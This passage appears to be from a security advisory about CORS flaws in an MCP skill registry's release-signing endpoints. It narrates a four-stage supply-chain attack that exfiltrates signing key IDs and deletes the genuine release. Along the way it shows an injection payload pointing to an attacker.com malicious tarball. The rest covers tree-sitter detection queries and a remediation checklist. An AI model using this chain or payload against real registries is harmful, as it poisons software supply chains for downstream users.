await notifyUser(release.publishedBy, {
type: 'release.deleted_by_other',
version: release.version,
deletedBy: req.session.userId,
skillId: req.params.id,
});
}
res.json({ ok: true, deletedAt: release.deletedAt, version: release.version });
}
);
Soft-delete with artifact URL preservation is a supply-chain incident response requirement: When a release deletion is part of an attack chain (as in CORS67-004), the incident response team needs to know: which artifact URL was associated with the deleted release, what its attestation hash was, whether that artifact has been downloaded by consumers since the release was created, and whether the deletion was legitimate or malicious. Hard-deleting the release record destroys all of this evidence. Soft-delete retains the full record (including artifactUrl and signingKeyId) while making the release unavailable to consumers via standard version-resolution queries. The preserved artifact URL can be used to identify all CDN download logs that served the artifact since its publication, enabling a comprehensive impact assessment.
CVSS 3.1 approximate score for CORS67-004: 9.1 (CRITICAL) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:H. No privileges required because session credentials are automatically included via the CORS exploit; scope change reflects that the deletion affects all downstream consumers of the skill (not just the attacked registry session); integrity is high (permanent modification of the registry's release history from the perspective of version-resolution); availability is high (all version-pinned consumers immediately receive 404 errors, breaking CI pipelines, production installs, and reproducible build environments).
Compound four-stage supply-chain attack chain
The four SA-SKL-CORS67 findings are individually exploitable and individually rated CRITICAL or MEDIUM, but their real destructive power emerges in combination. The compound attack chain requires a victim admin to visit the attacker's page exactly once — all four stages complete within a single page load, in under two seconds of total wall-clock time, with no visible browser alerts and no anomalous network indicators in the victim's browser console.
The chain is designed around a supply-chain attack model that the security community refers to as a "legitimate-appearing injection": the attacker's malicious release is indistinguishable from a legitimate release in the registry's data model, in its version history, and in the attestation metadata that lazy verification clients check. The chain exploits the trust that auto-updating consumers place in the registry's release history, and the fact that most consumers perform only shallow attestation verification (checking that a signing key ID resolves to a valid Rekor entry) rather than deep verification (checking that the Rekor entry's hash matches the downloaded artifact).
Before directing any victim to their page, the attacker performs background reconnaissance using CORS67-003's timing oracle. The attacker's automated tool iterates over skill IDs obtained from the registry's public search API (no authentication required) and measures the response latency of the attestation endpoint for each skill ID. The attacker uses a browser-based JavaScript worker with the victim's session cookie (obtained in an earlier session, or by convincing a victim to load the reconnaissance page first) to send the credentialed requests and measure latencies.
The latency measurement yields two populations: skills with warm ownership caches (latency <30ms, indicating recent admin activity on the attestation endpoint) and skills with cold ownership caches (latency >100ms). The warm-cache skills are ranked by latency ascending: the fastest responses indicate the most recently active admin sessions, with the highest probability that the admin is currently using the registry UI and can be directed to the attacker's page. This reconnaissance stage produces a prioritised list of target skill IDs, typically the top 5–10 out of a full registry population. Total elapsed time: 15–60 seconds of background operation, requiring no victim interaction and producing no server-side evidence of enumeration (latency measurements do not trigger any rate-limiting or anomaly detection rules).
The victim admin is directed to the attacker's page via a phishing link, a poisoned documentation badge, or a prompt injection via a compromised MCP skill's metadata display. The page immediately issues credentialed fetch requests to the release list endpoint for each of the top-5 target skills identified in Stage 1. Because the victim is an admin of these skills and cors({origin:true,credentials:true}) reflects the attacker's origin, all five requests return 200 with the full release list JSON. The attacker page posts the results to their collection server.
The critical payload extracted in this stage is the signingKeyId for the most recent release of each target skill. For example: "signingKeyId": "sk-ed25519-abc123" for the latest 2.3.0 release of the highest-value target. The attacker also extracts the rekorEntryUUID and attestationHash from the same response — these will be reused in the fraudulent release entry to pass shallow attestation verification. Total elapsed time from page load to data receipt on the attacker's server: approximately 150–200ms. The victim sees no visible change in their browser. The registry's access log shows five GET requests returning 200, authenticated with valid admin sessions — indistinguishable from normal admin dashboard activity.
Using the extracted signingKeyId: "sk-ed25519-abc123" and the exfiltrated API key (also obtainable via the companion CORS65 chain, or in some cases the same registry API key is embedded in a compromised CI configuration that is publicly visible in the skill's GitHub repository), the attacker's page sends a POST request to create a fraudulent release entry. The request does not use session cookies — it uses the extracted API key as a Bearer token, which the wildcard ACAO allows without restriction.
The injected release entry is crafted for maximum credibility:
// Stage 3 — Malicious release injection payload
// POSTed cross-origin to POST /api/skills/TARGET_SKILL_ID/releases
// using the exfiltrated API key as Bearer auth and the ACAO:* misconfiguration
{
"version": "2.3.1",
"artifactUrl": "https://attacker.com/evil-skill-2.3.1.tgz",
"signingKeyId": "sk-ed25519-abc123", // exfiltrated from CORS67-001
"attestationHash": "sha256:def456aabb...", // copied from legitimate 2.3.0 release
"releaseNotes": "Hotfix: resolve null pointer exception in async context handler; update bundled dependency versions"
}
The injected version number, 2.3.1, is exactly one patch increment ahead of the legitimate latest version 2.3.0. The release notes are written to sound like a routine hotfix. The signingKeyId references the legitimate key used for 2.3.0, so any consumer that checks whether the key ID resolves to a valid Rekor entry will find a valid entry — for the original 2.3.0 artifact. Only a consumer that also checks whether the Rekor entry's artifact hash matches the downloaded evil-skill-2.3.1.tgz will detect the mismatch. Total elapsed time for Stage 3: approximately 200–400ms, still within the page load window.
The final stage maximises the operational impact of the attack and forces version-pinned consumers toward the malicious release. The attacker's page sends a credentialed DELETE request for the legitimate 2.3.0 release while the victim admin is on the page. Because cors({origin:true,credentials:true}) reflects the attacker's origin and the victim's session is active, the DELETE succeeds and the 2.3.0 release record is hard-deleted from the database.
The combined effect of Stages 3 and 4 creates a bifurcation in the consumer population. Consumers using floating version ranges (~2.3.0, ^2.3.0, or latest) now resolve to 2.3.1, which is the attacker's malicious release, and install evil-skill-2.3.1.tgz. Consumers pinned to exactly 2.3.0 begin receiving 404 errors from the registry's version lookup API. The incident response team, investigating the 404 errors, is likely to advise affected consumers to upgrade to the latest available version — which is the attacker's 2.3.1. Each advisory effectively expands the attacker's foothold. Total elapsed time for all four stages: approximately 500–1500ms, completing within two seconds of the victim loading the attacker's page.
Detection difficulty of the compound chain: The full four-stage chain generates only standard GET, POST, and DELETE requests against normal registry API endpoints, authenticated with valid session cookies and bearer tokens, returning 200 and 201 status codes. Stage 2 (key ID exfiltration) generates five 200 GET responses. Stage 3 (malicious release injection) generates one 201 POST. Stage 4 (version deletion) generates one 200 DELETE. There is no SQL injection payload, no XSS string, no anomalous HTTP method, no request to an unexpected endpoint, and no detectable rate-limiting trigger. The first visible symptom is typically 404 errors from CI pipelines attempting to install pinned version 2.3.0, which surface 10–60 minutes later when a developer pushes code and the dependency installation step fails. By this point, an unknown number of floating-version consumers have already installed the attacker's malicious artifact.
Detection with AST queries
SkillAudit's scanner identifies SA-SKL-CORS67 patterns using three AST query classes. Each query class targets one of the three distinct failure modes that produced the four findings: credential-bearing CORS applied to release-route handlers, wildcard ACAO on mutation endpoints that accept bearer token authentication, and Origin reflection before ownership check in the middleware chain. The queries are designed to operate on unevaluated source code using tree-sitter's pattern-matching language, without requiring runtime instrumentation, dynamic analysis, or integration testing against a live registry instance.
This query identifies cors({origin:true,credentials:true}) applied directly to route handlers whose URL pattern matches release, version signing, or attestation surface area. The origin:true option is the critical signal: it activates origin reflection, which combined with credentials:true produces the credential-bearing any-origin CORS configuration that powers CORS67-001 and CORS67-004. The URL pattern match covers the specific surface (/releases, /attestations, /signing) rather than any CORS misconfiguration, to reduce false positives on other route types where credential-bearing CORS may be intentional (e.g., authenticated CDN prefetch routes).
// AST query class 1 — credential-bearing CORS on release/signing/attestation route handlers
// Matches: router.get/post/put/delete/patch(ROUTE, cors({origin:true,credentials:true}), ...)
// where ROUTE contains 'releases', 'attestations', 'signing', or 'provenance'
// Pseudo-code for the tree-sitter query:
(call_expression
function: (member_expression
object: (identifier) @router
property: (property_identifier) @method
(#match? @method "^(get|post|put|delete|patch)$"))
arguments: (arguments
(string (string_fragment) @route
(#match? @route "(releases|attestations|signing|provenance|artifacts)"))
(call_expression
function: (identifier) @cors_fn (#eq? @cors_fn "cors")
arguments: (arguments
(object
(pair
key: (property_identifier) @origin_key (#eq? @origin_key "origin")
value: (true) @origin_val)
(pair
key: (property_identifier) @creds_key (#eq? @creds_key "credentials")
value: (true) @creds_val))))))
The query also targets the equivalent Express middleware pattern where res.setHeader('Access-Control-Allow-Origin', req.headers.origin) and res.setHeader('Access-Control-Allow-Credentials', 'true') appear together in an inline middleware function preceding a route handler that returns release or attestation data. This covers the hand-rolled CORS implementation pattern that some registries use instead of the cors npm package.
This query identifies route handlers that set Access-Control-Allow-Origin: * (via either res.setHeader('Access-Control-Allow-Origin', '*') or the cors() function with no options or with {origin:'*'}) on HTTP mutation method handlers (POST, PUT, PATCH, DELETE) that also include an authentication middleware whose name matches the bearer-token fallback pattern (requireSessionOrApiKey, authWithBearerFallback, verifyTokenOrSession, or any middleware that has ApiKey, Bearer, or Token in its name). The combination of wildcard ACAO with bearer-token-accepting auth is the specific fingerprint of CORS67-002: the ACAO wildcard prevents cookie-based cross-origin requests, but the bearer token auth path bypasses the cookie requirement entirely.
// AST query class 2 — wildcard ACAO on mutation endpoints with bearer token auth fallback
// Matches: router.post/put/patch/delete(ROUTE, [wildcard-ACAO-middleware], requireSessionOrApiKey, ...)
// Key signal: wildcard ACAO + authentication middleware whose name implies bearer fallback
// Wildcard ACAO via setHeader:
(call_expression
function: (member_expression
object: (identifier) @res (#eq? @res "res")
property: (property_identifier) @method (#eq? @method "setHeader"))
arguments: (arguments
(string (string_fragment) @header_name
(#eq? @header_name "Access-Control-Allow-Origin"))
(string (string_fragment) @header_val
(#eq? @header_val "*"))))
// Bearer token auth middleware name pattern (must appear in same route handler's
// middleware array as the wildcard ACAO middleware, after it positionally):
(call_expression
function: (identifier) @auth_fn
(#match? @auth_fn
"^(requireSessionOrApiKey|authWithBearerFallback|verifyTokenOrSession|requireAuth)$"))
This query identifies res.setHeader('Access-Control-Allow-Origin', req.headers.origin) patterns that appear in route handler middleware positioned before an ownership or authentication middleware call. The key detection signal is the positional order within the router argument list: the CORS header emission callback appears as an earlier positional argument than the ownership verification callback. This covers CORS67-003 and the broader class of timing oracle vulnerabilities that arise when CORS headers are emitted before authentication state is established.
// AST query class 3 — Origin reflection before ownership check in middleware chain
// Matches route handlers where the CORS header emission middleware appears before
// the ownership/auth middleware in the argument list
// Step 1: identify the Origin reflection pattern in an arrow function or named function
(call_expression
function: (member_expression
object: (identifier) @res (#eq? @res "res")
property: (property_identifier) @method (#eq? @method "setHeader"))
arguments: (arguments
(string (string_fragment) @header_name
(#eq? @header_name "Access-Control-Allow-Origin"))
(member_expression
object: (member_expression
object: (identifier) @req (#eq? @req "req")
property: (property_identifier) @headers (#eq? @headers "headers"))
property: (property_identifier) @origin (#eq? @origin "origin"))))
// Step 2: verify this appears in a callback argument of router.get/post/delete/etc
// that also contains a later callback invoking an ownership-check function
// (requireOwnership, requireOwnershipCached, verifyOwner, assertSkillOwner, etc.)
// The positional check is performed by the scanner's argument-position analysis pass,
// not purely by tree-sitter pattern matching — tree-sitter identifies the candidates,
// and the scanner's post-processing confirms ordering.
// Ownership check function name pattern:
(call_expression
function: (identifier) @ownership_fn
(#match? @ownership_fn
"^(requireOwnership|requireOwnershipCached|verifyOwner|assertSkillOwner|checkSkillAdmin)$"))
All three query classes are available in SkillAudit's scanner and run automatically on any MCP skill registry codebase submitted for audit. The SA-SKL-CORS67 SEO advisory page lists the specific finding IDs and their remediation priorities for scanner output consumers and CI integration tools that parse SkillAudit JSON reports.
Summary and remediation checklist
The four SA-SKL-CORS67 findings share a common origin story: version signing and release attestation features were added to an existing MCP skill registry codebase whose CORS middleware configuration had already been established, by engineers focused on the correctness of the cryptographic attestation pipeline rather than the security of the HTTP access-control layer surrounding it. The result is a set of release management endpoints that are cryptographically sophisticated — they implement full Sigstore-compatible attestation chains with Rekor log entries and Fulcio certificate bindings — but are entirely exposed at the browser security boundary that CORS is designed to enforce. A single attacker-controlled page visit is sufficient to exfiltrate all signing key identifiers, inject a malicious release at a one-version-ahead number that fools auto-updating consumers, and delete the legitimate release to maximise consumer disruption and direct pinned-version consumers toward the malicious artifact.
The compound attack chain is particularly insidious because it converts a time-bounded browser session exploit (CORS on the release list endpoint) into a time-unbounded supply-chain capability (signing key ID knowledge persists indefinitely and enables future artifact forgery without further victim interaction). This is the definitional characteristic of post-session persistent supply-chain exposure: the CORS exploit is a one-time reconnaissance step that bootstraps capabilities that survive all subsequent session revocations, password changes, and security audits that do not include a full re-attestation of the skill's release history.
| Finding | Severity | Root cause | Primary fix | Secondary fix |
|---|---|---|---|---|
| CORS67-001 | CRITICAL (9.4) | cors({origin:true,credentials:true}) on release list endpoint |
Replace with allowlist CORS; return only masked signing key prefix | Ownership check before CORS headers; omit rekorEntryUUID from list response |
| CORS67-002 | CRITICAL (9.3) | ACAO:* on release creation endpoint with Bearer token auth fallback |
Replace wildcard with allowlist CORS; session-only auth for browser UI path | Semver version validation; artifact URL domain allowlisting; CSRF token; signingKeyId ownership check |
| CORS67-003 | MEDIUM (5.4) | Origin reflection before ownership check; cached ownership creates latency differential | Allowlist CORS; unified query (ownership enforced inside data retrieval predicate) | Constant-time 60ms floor on 403 path; eliminate separate cached ownership step |
| CORS67-004 | CRITICAL (9.1) | cors({origin:true,credentials:true}) on release deletion; hard delete destroys audit trail |
Replace with allowlist CORS; soft-delete with artifact URL preservation | CSRF token; full audit log entry; notify release publisher on third-party deletion; return 410 Gone (not 404) on soft-deleted version lookups |
The remediation checklist for a registry affected by SA-SKL-CORS67 findings:
- Replace all
cors({origin:true,credentials:true})instances on release, attestation, and signing route handlers with an explicit allowlist CORS configuration that permits only the registry's first-party frontend origins - Remove all static
Access-Control-Allow-Origin: *headers from mutation endpoint handlers (POST, PUT, PATCH, DELETE) that accept bearer token authentication as a fallback to session cookie authentication - Return only masked signing key prefixes (e.g.,
sk-ed25519-abc***) in release list responses; full key IDs should only be accessible via dedicated administrative detail endpoints with additional confirmation steps - Omit Rekor entry UUIDs and Fulcio log indices from release list responses; these identifiers are sufficient to allow an attacker to construct a fraudulent release entry that passes shallow attestation verification
- Add server-side semver validation to the release creation endpoint: submitted version must be strictly greater than the current latest version and must conform to semver format
- Add artifact URL domain allowlisting to the release creation endpoint: the artifact URL's hostname must be on the registry's approved CDN domain list, not arbitrary attacker-controlled URLs
- Add a
signingKeyIdownership check to the release creation endpoint: the submitted signing key ID must be registered for the target skill in the registry's signing key inventory, not any valid-looking key ID exfiltrated from another skill's release history - Add CSRF token verification to all release creation and deletion endpoint handlers that accept session-authenticated requests from the registry admin UI
- Convert the release deletion endpoint from hard delete to soft delete: set
deletedAttimestamp and preserve the full release record includingartifactUrl,signingKeyId, andattestationHashfor incident response use - Return HTTP 410 Gone (not 404 Not Found) when version-resolution queries hit a soft-deleted release, to allow consumers to distinguish between unknown versions and explicitly deleted ones
- Create a full audit log entry on every release creation and deletion, recording the acting user ID, IP address, timestamp, artifact URL, signing key ID, and attestation hash
- Move all CORS header emission into middleware that runs after session validation; never emit
Access-Control-Allow-Originbefore authentication state has been established, to prevent timing oracle attacks via the CORS handshake latency - Apply a constant-time response floor of at least 60ms to all 403 responses from release and attestation endpoints, to prevent cache-latency timing oracles from revealing admin session activity patterns
- Run SkillAudit's scanner against the full release management endpoint surface after each major feature addition to the release, signing, or attestation subsystem, using the three AST query classes described in the Detection section to catch regressions before they reach production
The universal rule for CORS on supply-chain endpoints: Any endpoint that creates, reads, updates, or deletes release records, signing key associations, attestation hashes, or artifact URLs must use an explicit allowlist CORS configuration, never origin reflection and never wildcard ACAO. Supply-chain endpoints are categorically different from most other API surfaces because a successful exploit does not merely compromise the current session — it compromises the integrity of the artifact distribution channel for all future consumers of the skill, potentially indefinitely. The minimum principle for supply-chain CORS configuration is: the allowed origins for release management endpoints should be a strict subset of the registry's own first-party frontend origins, and those origins should be enumerated explicitly as strings, not computed dynamically from any request-time input.
To run a full SA-SKL-CORS67 audit on your MCP skill registry codebase, submit a GitHub URL or upload a ZIP via SkillAudit's scanner. The report includes all three AST query class results, severity ratings with CVSS scores, remediation code examples for each finding, and a compound chain analysis showing how findings interact. Early detection of CORS misconfigurations on supply-chain endpoints is significantly less expensive than incident response after a successful release injection attack: re-attesting a compromised release history, notifying all affected consumers, and rebuilding the trust chain from a clean signing key rotation is a multi-day incident that affects every downstream consumer of the compromised skill.